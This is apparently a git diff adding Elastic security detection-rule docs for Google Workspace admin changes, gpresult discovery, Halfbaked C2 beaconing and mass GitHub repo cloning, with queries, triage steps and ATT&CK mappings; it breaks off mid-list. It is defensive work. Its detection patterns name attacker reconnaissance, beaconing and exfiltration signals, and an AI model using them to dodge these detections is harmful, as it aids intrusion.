https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-google_workspace.html + +==== Setup + + +The Google Workspace Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:"google_workspace.admin" and event.action:"CHANGE_APPLICATION_SETTING" and event.category:(iam or configuration) + and google_workspace.event.type:"APPLICATION_SETTINGS" and google_workspace.admin.application.name:"Google Workspace Marketplace" + and google_workspace.admin.setting.name:"Apps Access Setting Allowlist access" and google_workspace.admin.new_value:"ALLOW_ALL" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Domain or Tenant Policy Modification +** ID: T1484 +** Reference URL: https://attack.mitre.org/techniques/T1484/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-google-workspace-role-modified.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-google-workspace-role-modified.asciidoc new file mode 100644 index 0000000000..6fde9c2045 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-google-workspace-role-modified.asciidoc @@ -0,0 +1,150 @@ +[[prebuilt-rule-8-19-21-google-workspace-role-modified]] +=== Google Workspace Role Modified + +Detects when a custom admin role or its permissions are modified. An adversary may modify a custom admin role in order to elevate the permissions of other user accounts and persist in their target’s environment. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-google_workspace* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 10m + +*Searches indices from*: now-130m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://support.google.com/a/answer/2406043?hl=en +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-one +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-two + +*Tags*: + +* Domain: Cloud +* Data Source: Google Workspace +* Use Case: Identity and Access Audit +* Resources: Investigation Guide +* Tactic: Persistence + +*Version*: 210 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Google Workspace Role Modified* + + +Google Workspace roles allow administrators to assign specific permissions to users or groups where the principle of least privilege (PoLP) is recommended. Admin roles in Google Workspace grant users access to the Google Admin console, where more domain-wide settings are accessible. Google Workspace contains prebuilt admin roles for performing business functions related to users, groups, and services. Custom administrator roles can be created where prebuilt roles are not preferred. Each Google Workspace service has a set of custodial privileges that can be added to custom roles. + +Roles assigned to users will grant them additional permissions and privileges within the Google Workspace domain. Threat actors might modify existing roles with new privileges to advance their intrusion efforts and laterally move throughout the organization. Users with unexpected privileges might also cause operational dysfunction if unfamiliar settings are adjusted without warning. + +This rule identifies when a Google Workspace role is modified. + + +*Possible investigation steps* + + +- Identify the associated user accounts by reviewing `user.name` or `user.email` fields in the alert. +- Identify the role modified by reviewing the `google_workspace.admin.role.name` field in the alert. +- Identify the privilege that was added or removed by reviewing the `google_workspace.admin.privilege.name` field in the alert. +- After identifying the involved user, verify administrative privileges are scoped properly. +- To identify other users with this role, search for `event.action: ASSIGN_ROLE` + - Add `google_workspace.admin.role.name` with the role added as an additional filter. + - Adjust the relative time accordingly to identify all users that were assigned this role. +- Identify if the user account was recently created by searching for `event.action: CREATE_USER`. +- If a privilege was added, monitor users assigned this role for the next 24 hours and look for attempts to use the new privilege. + - The `event.provider` field will help filter for specific services in Google Workspace such as Drive or Admin. + - The `event.action` field will help trace actions that are being taken by users. + + +*False positive analysis* + + +- After identifying the user account that modified the role, verify the action was intentional. +- Verify that the user is expected to have administrative privileges in Google Workspace to modify roles. +- Review organizational units or groups the role might have been added to and ensure the new privileges align properly. +- Use the `user.name` to filter for `event.action` where `ADD_PRIVILEGE` or `UPDATE_ROLE` has been seen before to check if these actions are new or historical. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Disable or limit the account during the investigation and response. +- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context: + - Identify the account role in the cloud environment. + - Assess the criticality of affected services and servers. + - Work with your IT team to identify and minimize the impact on users. + - Identify if the attacker is moving laterally and compromising other accounts, servers, or services. + - Identify any regulatory or legal ramifications related to this activity. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords or delete API keys as needed to revoke the attacker's access to the environment. Work with your IT teams to minimize the impact on business operations during these actions. +- Review the permissions assigned to the implicated user to ensure that the least privilege principle is being followed. +- Implement security best practices https://support.google.com/a/answer/7587183[outlined] by Google. +- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + + + +*Important Information Regarding Google Workspace Event Lag Times* + +- As per Google's documentation, Google Workspace administrators may observe lag times ranging from minutes up to 3 days between the time of an event's occurrence and the event being visible in the Google Workspace admin/audit logs. +- This rule is configured to run every 10 minutes with a lookback time of 130 minutes. +- To reduce the risk of false negatives, consider reducing the interval that the Google Workspace (formerly G Suite) Filebeat module polls Google's reporting API for new events. +- By default, `var.interval` is set to 2 hours (2h). Consider changing this interval to a lower value, such as 10 minutes (10m). +- See the following references for further information: + - https://support.google.com/a/answer/7061566 + - https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-google_workspace.html + +==== Setup + + +The Google Workspace Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:google_workspace.admin and event.provider:admin and event.category:iam and event.action:(ADD_PRIVILEGE or UPDATE_ROLE) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-google-workspace-suspended-user-account-renewed.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-google-workspace-suspended-user-account-renewed.asciidoc new file mode 100644 index 0000000000..b632947760 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-google-workspace-suspended-user-account-renewed.asciidoc @@ -0,0 +1,148 @@ +[[prebuilt-rule-8-19-21-google-workspace-suspended-user-account-renewed]] +=== Google Workspace Suspended User Account Renewed + +Detects when a previously suspended user's account is renewed in Google Workspace. An adversary may renew a suspended user account to maintain access to the Google Workspace organization with a valid account. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-google_workspace* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 10m + +*Searches indices from*: now-130m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://support.google.com/a/answer/1110339 +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-one +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-two + +*Tags*: + +* Domain: Cloud +* Data Source: Google Workspace +* Use Case: Identity and Access Audit +* Tactic: Initial Access +* Resources: Investigation Guide + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Google Workspace Suspended User Account Renewed* + + +Google Workspace manages user identities and access, crucial for organizational security. Adversaries may exploit the renewal of suspended accounts to regain unauthorized access, bypassing security measures. The detection rule identifies such events by monitoring specific administrative actions, helping analysts spot potential misuse and maintain secure access controls. + + +*Possible investigation steps* + + +- Review the event logs for the specific action `UNSUSPEND_USER` to identify the user account that was renewed and gather details about the timing and context of the action. +- Check the identity of the administrator or service account that performed the `UNSUSPEND_USER` action to determine if the action was authorized or if there are signs of account compromise. +- Investigate the history of the suspended user account to understand why it was initially suspended and assess any potential risks associated with its renewal. +- Examine recent activity logs for the renewed user account to identify any suspicious behavior or unauthorized access attempts following the account's reactivation. +- Cross-reference the event with other security alerts or incidents to determine if the renewal is part of a broader pattern of suspicious activity within the organization. + + +*False positive analysis* + + +- Routine administrative actions may trigger the rule when IT staff unsuspend accounts for legitimate reasons, such as resolving a temporary issue. To manage this, create exceptions for known IT personnel or specific administrative actions that are part of regular account maintenance. +- Automated processes or scripts that unsuspend accounts as part of a workflow can also lead to false positives. Identify and document these processes, then exclude them from triggering alerts by using specific identifiers or tags associated with the automation. +- User accounts that are temporarily suspended due to policy violations or inactivity and later reinstated can cause false positives. Implement a review process to verify the legitimacy of these reinstatements and adjust the rule to exclude such cases when they are part of a documented policy. + + +*Response and remediation* + + +- Immediately review the user account activity logs to determine if any unauthorized actions were taken after the account was unsuspended. Focus on sensitive data access and changes to security settings. +- Temporarily suspend the user account again to prevent further unauthorized access while the investigation is ongoing. +- Notify the security team and relevant stakeholders about the potential security incident to ensure coordinated response efforts. +- Conduct a thorough review of the account's permissions and access levels to ensure they align with the user's current role and responsibilities. Adjust as necessary to follow the principle of least privilege. +- If malicious activity is confirmed, initiate a password reset for the affected account and any other accounts that may have been compromised. +- Implement additional monitoring on the affected account and similar accounts to detect any further suspicious activity. +- Review and update security policies and procedures related to account suspension and reactivation to prevent similar incidents in the future. + + + + +*Important Information Regarding Google Workspace Event Lag Times* + +- As per Google's documentation, Google Workspace administrators may observe lag times ranging from minutes up to 3 days between the time of an event's occurrence and the event being visible in the Google Workspace admin/audit logs. +- This rule is configured to run every 10 minutes with a lookback time of 130 minutes. +- To reduce the risk of false negatives, consider reducing the interval that the Google Workspace (formerly G Suite) Filebeat module polls Google's reporting API for new events. +- By default, `var.interval` is set to 2 hours (2h). Consider changing this interval to a lower value, such as 10 minutes (10m). +- See the following references for further information: + - https://support.google.com/a/answer/7061566 + - https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-google_workspace.html + +==== Setup + + +The Google Workspace Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:google_workspace.admin and event.category:iam and event.action:UNSUSPEND_USER + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-google-workspace-user-organizational-unit-changed.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-google-workspace-user-organizational-unit-changed.asciidoc new file mode 100644 index 0000000000..328d03c7d9 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-google-workspace-user-organizational-unit-changed.asciidoc @@ -0,0 +1,156 @@ +[[prebuilt-rule-8-19-21-google-workspace-user-organizational-unit-changed]] +=== Google Workspace User Organizational Unit Changed + +Users in Google Workspace are typically assigned a specific organizational unit that grants them permissions to certain services and roles that are inherited from this organizational unit. Adversaries may compromise a valid account and change which organizational account the user belongs to which then could allow them to inherit permissions to applications and resources inaccessible prior to. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-google_workspace* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 10m + +*Searches indices from*: now-130m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://support.google.com/a/answer/6328701?hl=en# +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-one +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-two + +*Tags*: + +* Domain: Cloud +* Data Source: Google Workspace +* Use Case: Configuration Audit +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 111 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Google Workspace User Organizational Unit Changed* + + +An organizational unit is a group that an administrator can create in the Google Admin console to apply settings to a specific set of users for Google Workspace. By default, all users are placed in the top-level (parent) organizational unit. Child organizational units inherit the settings from the parent but can be changed to fit the needs of the child organizational unit. + +Permissions and privileges for users are often inherited from the organizational unit they are placed in. Therefore, if a user is changed to a separate organizational unit, they will inherit all privileges and permissions. User accounts may have unexpected privileges when switching organizational units that would allow a threat actor to gain a stronger foothold within the organization. The principle of least privileged (PoLP) should be followed when users are switched to different groups in Google Workspace. + +This rule identifies when a user has been moved to a different organizational unit. + + +*Possible investigation steps* + + +- Identify the associated user accounts by reviewing `user.name` or `user.email` fields in the alert. + - The `user.target.email` field contains the user that had their assigned organizational unit switched. +- Identify the user's previously assigned unit and new organizational unit by checking the `google_workspace.admin.org_unit.name` and `google_workspace.admin.new_value` fields. +- Identify Google Workspace applications whose settings were explicitly set for this organizational unit. + - Search for `event.action` is `CREATE_APPLICATION_SETTING` where `google_workspace.admin.org_unit.name` is the new organizational unit. +- After identifying the involved user, verify administrative privileges are scoped properly to allow changing user organizational units. +- Identify if the user account was recently created by searching for `event.action: CREATE_USER`. + - Add `user.email` with the target user account that recently had their organizational unit changed. +- Filter on `user.name` or `user.target.email` of the user who took this action and review the last 48 hours of activity for anything that may indicate a compromise. + + +*False positive analysis* + + +- After identifying the user account that changed another user's organizational unit, verify the action was intentional. +- Verify whether the target user who received this update is expected to inherit privileges from the new organizational unit. +- Review potential maintenance notes or organizational changes. They might explain why a user's organization was changed. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Disable or limit the account during the investigation and response. +- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context: + - Identify the account role in the cloud environment. + - Assess the criticality of affected services and servers. + - Work with your IT team to identify and minimize the impact on users. + - Identify if the attacker is moving laterally and compromising other accounts, servers, or services. + - Identify any regulatory or legal ramifications related to this activity. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords or delete API keys as needed to revoke the attacker's access to the environment. Work with your IT teams to minimize the impact on business operations during these actions. +- Review the permissions assigned to the implicated user to ensure that the least privilege principle is being followed. +- Implement security best practices https://support.google.com/a/answer/7587183[outlined] by Google. +- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + + + +*Important Information Regarding Google Workspace Event Lag Times* + +- As per Google's documentation, Google Workspace administrators may observe lag times ranging from minutes up to 3 days between the time of an event's occurrence and the event being visible in the Google Workspace admin/audit logs. +- This rule is configured to run every 10 minutes with a lookback time of 130 minutes. +- To reduce the risk of false negatives, consider reducing the interval that the Google Workspace (formerly G Suite) Filebeat module polls Google's reporting API for new events. +- By default, `var.interval` is set to 2 hours (2h). Consider changing this interval to a lower value, such as 10 minutes (10m). +- See the following references for further information: + - https://support.google.com/a/answer/7061566 + - https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-google_workspace.html + +==== Setup + + +The Google Workspace Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:"google_workspace.admin" and event.type:change and event.category:iam + and google_workspace.event.type:"USER_SETTINGS" and event.action:"MOVE_USER_TO_ORG_UNIT" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-group-policy-discovery-via-microsoft-gpresult-utility.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-group-policy-discovery-via-microsoft-gpresult-utility.asciidoc new file mode 100644 index 0000000000..07b0a42ec9 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-group-policy-discovery-via-microsoft-gpresult-utility.asciidoc @@ -0,0 +1,122 @@ +[[prebuilt-rule-8-19-21-group-policy-discovery-via-microsoft-gpresult-utility]] +=== Group Policy Discovery via Microsoft GPResult Utility + +Detects the usage of gpresult.exe to query group policy objects. Attackers may query group policy objects during the reconnaissance phase after compromising a system to gain a better understanding of the active directory environment and possible methods to escalate privileges or move laterally. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Discovery +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 215 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Group Policy Discovery via Microsoft GPResult Utility* + + +Group Policy is a Windows feature that allows administrators to manage and configure settings for users and computers in an Active Directory environment. The Microsoft GPResult utility (gpresult.exe) is a command-line tool used to query and display Group Policy Objects (GPOs) applied to a system. Attackers may abuse this utility to gain insights into the active directory environment and identify potential privilege escalation or lateral movement opportunities. + +The detection rule 'Group Policy Discovery via Microsoft GPResult Utility' is designed to identify the usage of gpresult.exe with specific arguments ("/z", "/v", "/r", "/x") that are commonly used by adversaries during the reconnaissance phase to perform group policy discovery. + + +*Possible investigation steps* + + +- Review the alert details to understand the context of the gpresult.exe usage, such as the user account, system, and time of execution. +- Identify the user account that performed the action and whether it should perform this kind of action. +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Investigate any abnormal account behavior, such as command executions, file creations or modifications, and network connections. +- Inspect the host for suspicious or abnormal behavior in the alert timeframe. +- Validate the activity is not related to planned patches, updates, network administrator activity, or legitimate software installations. +- Investigate any abnormal behavior by the parent process, such as network connections, registry or file modifications, and any other spawned child processes. + + +*False positive analysis* + + +- Discovery activities are not inherently malicious if they occur in isolation. As long as the analyst did not identify suspicious activity related to the user or host, such alerts can be dismissed. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved hosts to prevent further post-compromise behavior. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Reimage the host operating system or restore the compromised files to clean versions. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and +(process.name: "gpresult.exe" or ?process.pe.original_file_name == "gprslt.exe") and process.args: ("/z", "/v", "/r", "/x") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Group Policy Discovery +** ID: T1615 +** Reference URL: https://attack.mitre.org/techniques/T1615/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-halfbaked-command-and-control-beacon.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-halfbaked-command-and-control-beacon.asciidoc new file mode 100644 index 0000000000..9fc2809218 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-halfbaked-command-and-control-beacon.asciidoc @@ -0,0 +1,133 @@ +[[prebuilt-rule-8-19-21-halfbaked-command-and-control-beacon]] +=== Halfbaked Command and Control Beacon + +Halfbaked is a malware family used to establish persistence in a contested network. This rule detects a network activity algorithm leveraged by Halfbaked implant beacons for command and control. + +*Rule type*: query + +*Rule indices*: + +* packetbeat-* +* auditbeat-* +* filebeat-* +* logs-network_traffic.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html +* https://attack.mitre.org/software/S0151/ + +*Tags*: + +* Use Case: Threat Detection +* Tactic: Command and Control +* Domain: Endpoint +* Resources: Investigation Guide + +*Version*: 107 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Halfbaked Command and Control Beacon* + + +Halfbaked malware exploits common network protocols to maintain persistence and facilitate command and control (C2) operations within compromised networks. Adversaries leverage HTTP and TLS protocols to disguise malicious traffic as legitimate, often targeting specific ports like 53, 80, 8080, and 443. The detection rule identifies suspicious network patterns, such as unusual URL structures and specific transport protocols, to flag potential C2 beaconing activities. + + +*Possible investigation steps* + + +- Review the network traffic logs to identify any connections to IP addresses matching the pattern specified in the query (e.g., http://[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}/cd) and determine if these IPs are known or suspicious. +- Analyze the destination ports (53, 80, 8080, 443) used in the flagged traffic to assess if they align with typical usage patterns for the affected systems or if they indicate potential misuse. +- Examine the HTTP and TLS traffic details to identify any unusual URL structures or anomalies in the network.protocol field that could suggest malicious activity. +- Correlate the detected network activity with endpoint logs to identify any associated processes or applications that may have initiated the suspicious traffic. +- Investigate any related alerts or historical data for patterns of similar activity, which could indicate a persistent threat or ongoing compromise within the network. + + +*False positive analysis* + + +- Legitimate software updates or patch management systems may use similar URL structures and ports, leading to false positives. Users can create exceptions for known update servers by whitelisting their IP addresses or domain names. +- Internal web applications or services that use non-standard ports like 8080 for HTTP traffic might trigger the rule. Identify these applications and exclude their traffic from the rule by specifying their IP addresses or domain names. +- Network monitoring tools or security appliances that perform regular scans or health checks over HTTP or TLS might mimic the detected patterns. Exclude these tools by adding their IP addresses to an exception list. +- Content delivery networks (CDNs) often use IP-based URLs for load balancing and might be mistaken for malicious activity. Verify the legitimacy of the CDN traffic and exclude it by whitelisting the associated IP ranges. +- Automated scripts or bots within the network that access external resources using IP-based URLs could trigger alerts. Review these scripts and, if deemed safe, exclude their traffic by specifying their source IP addresses. + + +*Response and remediation* + + +- Isolate the affected systems from the network immediately to prevent further communication with the command and control server. +- Conduct a thorough scan of the isolated systems using updated antivirus and anti-malware tools to identify and remove the Halfbaked malware. +- Analyze network traffic logs to identify other potentially compromised systems by looking for similar suspicious network patterns and URL structures. +- Block the identified malicious IP addresses and domains at the network perimeter to prevent further communication attempts. +- Apply security patches and updates to all systems and applications to close vulnerabilities exploited by the malware. +- Restore affected systems from clean backups, ensuring that the backups are free from any signs of compromise. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to assess the scope of the breach. + + +*Threat intel* + + +This activity has been observed in FIN7 campaigns. + +==== Rule query + + +[source, js] +---------------------------------- +(data_stream.dataset: (network_traffic.tls OR network_traffic.http) OR + (event.category: (network OR network_traffic) AND network.protocol: http)) AND + network.transport:tcp AND url.full:/http:\/\/[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}\/cd/ AND + destination.port:(53 OR 80 OR 8080 OR 443) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Sub-technique: +** Name: Web Protocols +** ID: T1071.001 +** Reference URL: https://attack.mitre.org/techniques/T1071/001/ +* Technique: +** Name: Dynamic Resolution +** ID: T1568 +** Reference URL: https://attack.mitre.org/techniques/T1568/ +* Sub-technique: +** Name: Domain Generation Algorithms +** ID: T1568.002 +** Reference URL: https://attack.mitre.org/techniques/T1568/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-high-number-of-cloned-github-repos-from-pat.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-high-number-of-cloned-github-repos-from-pat.asciidoc new file mode 100644 index 0000000000..ff00f3a9c5 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-high-number-of-cloned-github-repos-from-pat.asciidoc @@ -0,0 +1,122 @@ +[[prebuilt-rule-8-19-21-high-number-of-cloned-github-repos-from-pat]] +=== High Number of Cloned GitHub Repos From PAT + +Detects a high number of unique private repo clone events originating from a single personal access token within a short time period. + +*Rule type*: threshold + +*Rule indices*: + +* logs-github.audit-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Cloud +* Use Case: Threat Detection +* Use Case: UEBA +* Tactic: Execution +* Data Source: Github +* Resources: Investigation Guide + +*Version*: 209 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating High Number of Cloned GitHub Repos From PAT* + + +Personal Access Tokens (PATs) facilitate automated access to GitHub repositories, enabling seamless integration and management. However, adversaries can exploit compromised PATs to clone numerous private repositories rapidly, potentially exfiltrating sensitive code. The detection rule identifies unusual cloning activity by monitoring for a surge in unique private repo clones from a single PAT, signaling potential misuse. + + +*Possible investigation steps* + + +- Review the specific personal access token (PAT) involved in the alert to determine its owner and associated user account. +- Analyze the event logs for the PAT to identify the number and names of private repositories cloned, focusing on any unusual or unauthorized access patterns. +- Check the access history of the PAT to see if there are any other suspicious activities or anomalies, such as access from unfamiliar IP addresses or locations. +- Contact the owner of the PAT to verify if the cloning activity was authorized and to gather additional context about the usage of the token. +- Investigate the security posture of the affected repositories, including reviewing access permissions and recent changes to repository settings. +- Consider revoking the compromised PAT and issuing a new one if unauthorized access is confirmed, and ensure the user updates any systems or scripts using the old token. + + +*False positive analysis* + + +- Legitimate automated processes or CI/CD pipelines may trigger multiple clone events. Review and whitelist known IP addresses or tokens associated with these processes to prevent false alerts. +- Developers working on multiple projects might clone several private repositories in a short period. Identify and exclude these users or their tokens from triggering alerts by maintaining a list of frequent cloners. +- Organizational scripts or tools that require cloning multiple repositories for updates or backups can cause false positives. Document these scripts and create exceptions for their associated tokens. +- Scheduled maintenance or migration activities involving repository cloning can be mistaken for suspicious activity. Coordinate with relevant teams to anticipate such events and temporarily adjust detection thresholds or exclude specific tokens. + + +*Response and remediation* + + +- Immediately revoke the compromised Personal Access Token (PAT) to prevent further unauthorized access to private repositories. +- Notify the repository owners and relevant stakeholders about the potential breach to assess the impact and initiate internal incident response procedures. +- Conduct a thorough review of the cloned repositories to identify any 